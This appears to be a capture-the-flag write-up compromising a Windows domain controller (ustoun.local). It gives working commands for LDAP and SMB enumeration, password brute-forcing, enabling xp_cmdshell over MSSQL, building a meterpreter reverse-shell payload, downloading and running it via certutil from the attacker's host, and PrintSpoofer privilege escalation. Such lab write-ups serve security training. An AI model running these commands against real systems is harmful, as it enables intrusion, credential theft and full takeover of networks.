Starting off we try default LDAP nmap scripts with null credentials against the Domain Controller.

```bash
nmap -n -sV --script "ldap* and not brute" <IP>
```

This reveals the domain name of ustoun.local

I then checked `SMB` and was successful using anonymous login with `Crackmapexec`. Here I used the `--rid-brute` option and grepped for users accounts.

```bash
crackmapexec smb <IP> -u 'a' -p '' --users --rid-brute | grep '(SidTypeUser)'
```

![](/files/-McxxXGdbhoqY8klXfav)

Since we now have the user account `SVC-Kerb` I will attempt to brute force the login over `SMB` with `Crackmapexec`.

```bash
crackmapexec smb <IP> -u 'SVC-Kerb' -p /usr/share/wordlists/rockyou.txt | grep '[+]'
```

![](/files/-McxzPSTIpXvT8vl-VE8)

From here I was unable to execute commands through `SMB` or resolve any new information. I logged into SYSVOL and NETLOGON and was unable to find anything at all. `WinRM` was not accepting these credentials and `RDP` was not letting me in either.

I then tried `MSSQL` with Impacket's mssqlclient.py and was given access.

```bash
python mssqlclient.py -port 1433 svc-kerb:superman@<IP>
```

From here we can run `enable_xp_cmdshell` and then confirm command execution with `xp_cmdshell whoami`.

![](/files/-MczVVQmXxAKspCdQQNz)

In order to gain a decent shell from here I next generated a `msfvenom` `metasploit` executable.

```bash
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=<IP> LPORT=4422 -f exe -o reverse.exe
```

Then hosted a Python SimpleHTTPServer on my attacking machine. I then used the `MSSQL` session to download the file with `certutil.exe` and copy to c:\windows\temp. I then used another command to run the reverse.exe and gain a `meterpreter` shell.

```bash
xp_cmdshell cmd.exe /c certutil.exe -f -urlcache -split http://<IP>/reverse.exe c:\windows\temp\reverse.exe
xp_cmdshell cmd.exe /c c:\windows\temp\reverse.exe
```

Dropping into Shell and checking our privileges shows we have the privilege `SeImpersonatePrivilege`.

![](/files/-MczeoPt6fl3MRFo9iPR)

This can be used to perform Juicy Potato attacks or PrintSpoofer attacks. Checking systeminfo we notice we are running Windows Server 2019.

![](/files/-Mczf6p3K3T4xPdD5V-S)

As a result a successful Juicy Potato attack would be unlikely however, a Print Spoofer attack or CVE-2020-1048 would be more viable and likely: <https://nvd.nist.gov/vuln/detail/CVE-2020-1048>.

To perform this attack upload the following binary to the target system: <https://github.com/dievus/printspoofer>.

![](/files/-Mczg1Jqn6bKNzXlOhMD)

Once uploaded run the following command to spawn a privileged shell.

```bash
PrintSpoofer.exe -i -c cmd
```

From here we are able to access the Administrator's Desktop and grab the root flag.
